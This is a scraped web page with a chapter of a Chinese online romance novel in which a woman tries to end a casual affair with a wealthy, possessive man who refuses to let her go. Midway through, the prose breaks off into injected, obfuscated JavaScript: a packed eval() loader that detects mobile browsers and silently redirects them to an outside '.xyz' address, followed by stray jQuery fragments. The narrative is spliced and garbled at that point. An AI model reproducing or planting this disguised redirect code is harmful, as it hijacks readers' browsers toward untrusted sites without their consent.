默认冷灰
24号文字
方正启体

3. 黄钻

作者:妩梵本书字数:K更新时间:
    清醒过来,发觉视线陷入一片漆黑,窗帘的遮光性太好,也不知道是凌晨几点,顾意浓的身体陷入柔软的床垫里,腰骨却格外酸软。


    套房有智能语音系统。


    她嗓音无力地说:“打开阅读灯。”


    King-Size大床的一隅被暖黄的光源照亮。


    顾意浓抬手,随意捞起白色靠垫,倚到腰后的位置,有些吃力地坐了起来。


    周围的凌乱都被妥帖地收拾好。


    室内泛着淡淡的鸢尾和睡莲气息,是顾意浓喜欢的某个牌子的线香。


    每次她都会让酒店的行政经理提前准备,事后再让原奕迟点上一根,用以驱散余留下来的堕落味道。


    手腕和腰骨一样,也泛着不容忽视的酸痛感,顾意浓低下眼睫,查看起来,白皙的肌肤上果然残留着男人用力桎梏她时的淡红指痕。


    现在看着颜色尚浅。


    但明天会变深。


    这并不涉及暴力或伤害。


    只是男女力量和体型的天然悬殊。


    视线范围内不见原弈迟的身影。


    这也是顾意浓的要求,结束后从来都要分床睡。


    当然,如果现在他敢出现在她的眼前,她会毫不犹豫地煽他一个巴掌。


    狗男人。


    竟然让e了三次。


    最后一次她实在承受不住,妄图挣脱他覆在上边的高大强悍身躯,却被他强势地扣住了两只手腕,男人落在她眉心的吻很温柔,带着安抚的意味,却不容许她逃避最致命的春潮。


    当他磁沉低醇的声息灌入耳膜时,她的大脑像被塞进几只扑腾着翅膀的蝴蝶,他压抑的长叹弄得她大脑乱极了,就像快要坏掉似的。


    顾意浓美丽的瞳孔失去了焦点。


    她抱紧双膝,无助地埋下头,看向鹅绒被的边缘。


    经历完放纵的欢娱后。


    心脏的最深处竟然涌起一种陷落感,这种情绪如溺水般,快要将她淹没。


    欲望得不到觉得痛苦,欲望满足后又觉得无聊,人类就像钟摆一样,在这两种极端的状态中不断徘徊——叔本华早就对人性做出过最深刻的思考。


    但此时此刻,她的状态不像是无聊,更准确地说,是空虚,或者说被某种无意义的感觉包围。


    继续和原弈迟这样下去。


    又有什么意义呢?


    她和原奕迟认识的时间不算短,就连做搭子,都快要半年的时间了。


    近来的他,逐渐暴露了本性。


    顾意浓没有发掘出他全部的暗面,也不想再继续深入探寻。


    她意识到自己是在玩火自焚。


    如果任由这种关系发展下去,男人不动声色的掌控欲绝对会让她消受不起。


    已经到了该提出结束的阶段了。


    这件事,她不想拖太久。


    -


    次日清晨。


    顾意浓从浴室走出,还未来得及吹干的乌黑长发被浴巾包裹起来,造型颇像荷兰名画《戴着珍珠耳环的少女》,趁得脸型愈发精致白皙。


    她平日偏好华丽的衣饰,越招摇越好,虽然颜值和身材都能撑得起来,但不是很符合年纪,素颜依然明艳动人,但看着更显小了些。


    顾意浓走到主卧的梳妆镜前,发现和她交好的NYU同学发来了几条消息——


    【Professor Liang竟然辞职了!】


    【已经做好交接工作,确认要离开校园了,那几个月前应该就准备离职手续了吧?】


    【Tisch(帝势艺术学院)的招生部要愁坏了吧,新招的表演教师履历再优秀,也不可能是戛纳影帝了。】


    【而且我们这几届跟百老汇的一些合作,都是托的梁影帝的关系,他离职后,那边的办事人员不一定会给NYU的学生优待了。】


    顾意浓的表情微变。


    梁燕回竟然将NYU的副教授工作辞掉了?


    顾意浓睫毛轻颤,熄灭手机屏幕。


    想起半年前,在格林威治村的咖啡店和梁燕回不欢而散后,她便下定了决心,一定要将这个人忘记。


    但今晨默念起他的名字时,心脏最薄弱的地方还是不受控制地泛起一阵夹杂着酸涩的痛楚感。


    思绪因这个消息变得很乱。


    只好强迫自己将它暂时搁置。


    拿起保湿面霜时,脑海里还是想起了和梁燕回最后的对话——


    “对不起,Rebecca.”


    “我不想伤害你。”


    “可我是你的教师。”


    “即使你已经成年,而且在读研究生,这种关系也不会被任何人接受。”


    “哪怕是在这个国度,这种事情依然很敏感,在有的州甚至是违法的……”


    梁燕回是她第一个认真喜欢的成年男性,从他成为她的表演教师开始,他带给她的感觉总会夹杂着酸涩又甜蜜的感受,尽管那感受中,包裹着不被世俗容许的禁忌滋味。


    她不是个会暗恋的人。


    于是鼓起勇气,选择向他告白


    那时梁燕回的脸色有些错愕。


    随后说出的话,语气格外郑重,甚至带着罕见的严厉,势必要和她划清界限,不允许她再有任何越界的想法。


    但顾意浓却捕捉到了他眼底的恻隐和怜惜,她眼眶发酸,心底的痛楚也在膨胀。


    她很想问问梁燕回,她不信他对她一点儿想法都没有。


    她和他的年龄仅仅差了七岁,他也仅是教她如何指导演员的任课教师,她和他之间,真的存在所谓的权力倾轧,或是天然的不对等吗?


    也很想问问他。


    为什么要这么急着拒绝她。


    她早晚一天会毕业。


    也早晚有一天不再是他的学生。


    她和他之间,就真的不能有任何可能性吗?


    顾意浓没有梁燕回的私人联系方式。


    只知道他的工作邮箱。


    学生能联系到他的途径也只有发邮件,其实她在告白被拒后也意识到,像梁燕回这样的人,向来不乏女学生对他怀有异性间的好感,所以他在这方面很注意分寸。


    纠结和犹豫在心脏深处涨满。


    她很想发个邮件问问他,为什么要辞掉NYU的教职工作,这明明是他很热爱的事业。


    但还是忍耐住,什么都没有发。


    勉强平复心绪后。


    顾意浓按往常的morning routine护肤,又化了个淡妆。


    酒店的服务人员在套房主厅的沙发上放了几个购物袋,里面装着原奕迟让人买的换洗衣物,她换上后,想起昨晚那件酒红色的裹身连衣裙竟然被他撕坏了。


    平日那样绅士又有涵养的人,突然展现出粗暴的破坏欲,不免让人心惊肉跳。


    其实他的欲望很重。


    之前的几次可能是磨合,也可能是试探,掌握她的情况后,他或许想要尝试满足自己了。


    头发还有些湿,没完全变干。


    顾意浓走到梳妆镜前,再次坐下。


    刚要拿起吹风筒。


    忽觉颈边一凉,她心跳陡然加快,鼻息也侵入了熟悉且沉煦的乌木气息。


    原奕迟不知何时,走到她身边。


    他屈起食指,用偏硬的骨节碰了下她白皙的雪颈,更准确的说,那里是她敏感且是要害部位的颈动脉。


    “有心事么?”他问道。


    顾意浓被男人吓了一跳,没好气地说:“你是什么时候进来的?”


    说完,也没分他眼神。


    自顾自地抬起胳膊,松解起干发帽。


    男人从身后攥起她手腕,略带着薄茧的拇指指腹顺势落在细嫩凝白的肌肤上,缓而慢地摩挲起那些变深的痕迹。


    顾意浓被他的举动弄得心脏发慌。


    她急忙缩回手,佯装淡定地问:“你还有什么事吗?”


    “抬头。”他忽而低声命令道。


    顾意浓还没搞懂状况。


    便用余光瞥见,男人修长明晰的指骨不知从何处捏起一条大克拉的黄钻项链,等她回过神后,沉甸甸的天价珠宝已经落在了她锁骨上方。


    这黄钻项链的款式一看就着人精心设计过,典雅且有美感,不会过分隆重,但又足够奢贵。


    顾意浓对着镜子,视线不由自主地被它吸引,不解问道:“你要把它送我吗?”


    “喜欢吗?”他不置可否。


    顾意浓不知道该说什么。


    在纽约时,和他的最后一次,挺不巧的。


    小亲戚提前造访,她也是无聊透了,便对原奕迟说,今晚不如陪她在曼哈顿随便逛逛。


    华臻集团由原奕迟叔叔的一手创立,做到像它那么大的组织,内部难免有很多积弊之处,而且集团总部和分部的矛盾也在逐年加深。


    原弈迟的叔叔需要一个更优秀,也更强势的管理者进行改革,为了说服这个极有才干的后生,他不惜辞掉董事长一职,让当时年仅27岁的原奕迟兼任,以便他能握稳权柄,不受掣肘。


    在这之前。


    原弈迟是华尔街一家另类资金管理机构的合伙人,该机构的核心业务是做私募股权基金,也做对冲基金或一些传统的信托金融业务。


    因着生母和继父的关系网,他还担任着多家企业的董事。


    正式就职华臻后,他仍是那家机构的大股东和监事之一。


    那天他在纽约总部开完会。


    两个人散步到了第五大道的蒂凡尼门店。


    顾意浓和他聊起了奥黛丽赫本主演的那部叫《蒂凡尼的早餐》的电影,也提起了她佩戴的那枚黄钻项链。


    还说她有一次被友人邀请到曼哈顿的上流圈子参加慈善拍卖宴,见过类似克拉和颜色等级的黄钻,姐姐顾俪卿的生日快到了,她瞄准了那件拍品,想送给姐姐做礼物。


    拍卖的半途,却撞见某个年近七十的白人阔太太和她打起擂台。


    价格快要叫到一千万美元时,这场拍卖竟然被中途叫停。


    而后有人走过来,特意告诉她,这件拍品早就被那明显是女王蜂的阔太太锚定了。


    刚才跟着叫价的人,只是走走过场,俗称气氛组,这是上流圈子心照不宣的规矩,像她这种刚到社交圈边缘的人,不能跟核心人物争抢拍品,否则会被人看成是不懂礼仪的亚裔暴发户。


    顾意浓顿时觉得没劲透了。


    拍卖时惊心动魄的刺激感没了,拍卖行也变成了这帮上流人士表演的舞台。


    是因为她说了拍卖会的这件事。


    原弈迟才送了她这条项链吗?


    她搞不懂男人的想法,从昨晚就被植入在心脏深处的恐慌感在加剧。


    “这太贵重了,我没理由收。”


    男人沉默了两秒,自顾自地拿起吹风筒,打开后,调试好温度,便移向她半湿的发,继而才淡淡地说:“很适合你。”


    风筒发出嗡嗡的轰鸣噪音。


    弄得顾意浓心情烦躁。


    标准的原奕迟态度。


    用句看似不搭边的话,将她拒绝的态度无视,独属于上位者的傲慢和强势。


    没事送什么亿万级别的天价的珠宝。


    她不需要他送她这个。


    “我有话想跟你说。”顾意浓抬高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775294|174682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    音量。


    原奕迟挑起她一抹头发,手上的动作顿了顿,没什么情绪地问道:“很要紧的事吗?”


    顾意浓语塞。


    听见他用低醇的嗓音又说:“等你的头发干了后,再谈。”


    -


    顾意浓走出主卧后。


    套房主厅的橡木长桌已经摆好了丰盛的早餐。


    原奕迟的母亲黄令仪是中英混血,二婚的对象则是个低调的英伦老钱巨鳄,黄令仪和原奕迟的生父离婚后,便带他回到港岛的娘家,在原奕迟七岁前,她曾担任过特区政府要职,还为港岛回归祖国做出了贡献,是位颇有权势和才干的女性。


    后来黄令仪移民英国。


    原弈迟便在伦敦生活了多年,所以在早上,他习惯喝佛手柑气味的伯爵茶,淡奶,不加糖。


    顾意浓的面前摆着她喜欢的莓果松饼,淋满了甜蜜又浓稠的枫糖。


    可她却没什么心情享用。


    满脑子都在想,该怎样提出要和原奕迟就此了断的事。


    很快,原奕迟仪态优雅地吃完了三明治,用餐巾擦完嘴后,他抬起头,看见顾意浓的食物没怎么动,便询问道:“早餐不合胃口吗?”


    “你吃好了吗?”顾意浓撂下刀叉。


    原奕迟眼皮轻掀,端详她看:“是要说刚才没说成的事吗?”


    心脏在这瞬间悬了起来。


    顾意浓还是鼓起勇气,将刚才组织好的语言同他复述了遍。


    大抵就是,这半年间,她和原奕迟之间还是很愉快的,不过她觉得这种关系没有什么意义,希望获得他的理解。


    ——“这段时间,我们还挺愉快的,不过就到这里吧,不要再继续了。”


    说完。


    空气明显冷凝了片刻。


    “这不是个有说服力的理由。”


    原奕迟的表情没怎么变,而后像是突然想起什么似的,目光淡淡地掠过她的手腕,语气还算耐心地询问道:“是因为昨晚的事吗?”


    顾意浓愣住:“什么?”


    “最后那次,我没完全顾及你的意愿,我道歉,并向你保证,以后不会再发生那种事了。”


    顾意浓:“......”


    见女人没说话。


    原奕迟的眼神不易察觉地变得沉黯。


    但在对待她时,他向来保留着无尽的耐心,男人的语气一如既往的平淡,再次询问道:“还是你觉得,我有别的行为让你感到不适了?”


    “跟这些事都没关系。”她终于开口,“我就是不想再跟你继续下去了。”


    “而且我已经有喜欢的人了,我希望和他步入一段正常的恋爱关系,所以——”


    “喜欢的人?”原弈迟将她的话打断,颌骨的硬朗线条绷得很紧,凝视着她美丽的眼眸,沉声问道,“是谁?”


    顾意浓无奈叹气:“反正你不认识,我和他的事,也同你不相干。”


    她强撑着镇静。


    说出这句话时,心跳却在剧烈加快,弄得太阳穴都有些疼,就快要超出所能承受的负荷。


    在原弈迟的身上,她通常只会体会到两种情感,这两种情感按照心理学的说法,是人类最原始的两种情感,一个名之为欲望,另一个则名之为恐惧。


    男人低敛眼眸,沉默了半晌,窗外的光影打在他考究的沉黑色西装上,衬得他的轮廓俊美又硬朗,他忽而自嘲般地笑了,说道:“这样啊。”


    顾意浓打量着他的神情。


    听见他用还算平静的语气说道:“既然如此,我会祝福你们的。”


    “我们就此了断,好聚好散。”


    “往后如果在什么场合见面,我也会礼貌地跟你打个招呼,不会装作不认识你,毕竟我们还可以继续做普通朋友。”


    顾意浓有些出乎意料。


    这件事的发展,比她预想的要顺利得多。


    正当她以为男人会就此罢休时,他接下来说出的话,却让她的心脏重重一跳——


    “顾意浓。”他的嗓音异常沉厚,“你是不是想听我说出这些话?”


    顾意浓从椅处站起来。


    她抿起红唇,平复着紊乱的呼吸,同他对峙道:“你到底是什么意思?”


    原弈迟略微坐正身体,举手投足间,既带着上位者的威压,又莫名有种黑老大才有的阴枭感。


    顾意浓时常不解,这是他身上最矛盾的地方,分明他是个从小都接受最顶尖的精英贵族教育的人,可总有那种坏到没边的混蛋劲儿。


    男人的眸底幽黑,隐隐透着薄怒,嗤笑着问道:“把我当成了用完就扔的玩具么?”


    ——“八小时前还在求着被我*,现在却要跟我断?”


    “我和你不是男女朋友!”


    顾意浓感觉此时此刻的自己就像只一戳就破的纸老虎,愤怒是她唯一的武器。


    她近乎恼火,对他说道:“就算我跟你是男女朋友,就算我们处于婚姻关系中,如果我不想跟你继续下去,我也可以选择分手或者离婚,况且这件事,根本就不需要征得你的同意!”


    “是么?”他的语调有些懒,甚至透着漫不经心,已然恢复了平日稳定的情绪。


    男人的身影修挺,轮廓强硬又冷漠,慢条斯理地说道:“第一次的时候,我就很明确地问过你,有没有想清楚后果。”


    “你说自己想好了。”


    “从那一刻开始,你就该做好心理准备。”


    “顾小姐。”男人双手交叠,表情冷漠又强势地注视着女人因愤怒而愈发明艳的脸蛋,嗓音沉淡地说,“是你先招惹的我。”


    ——“我们之间的事,你说了不算。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)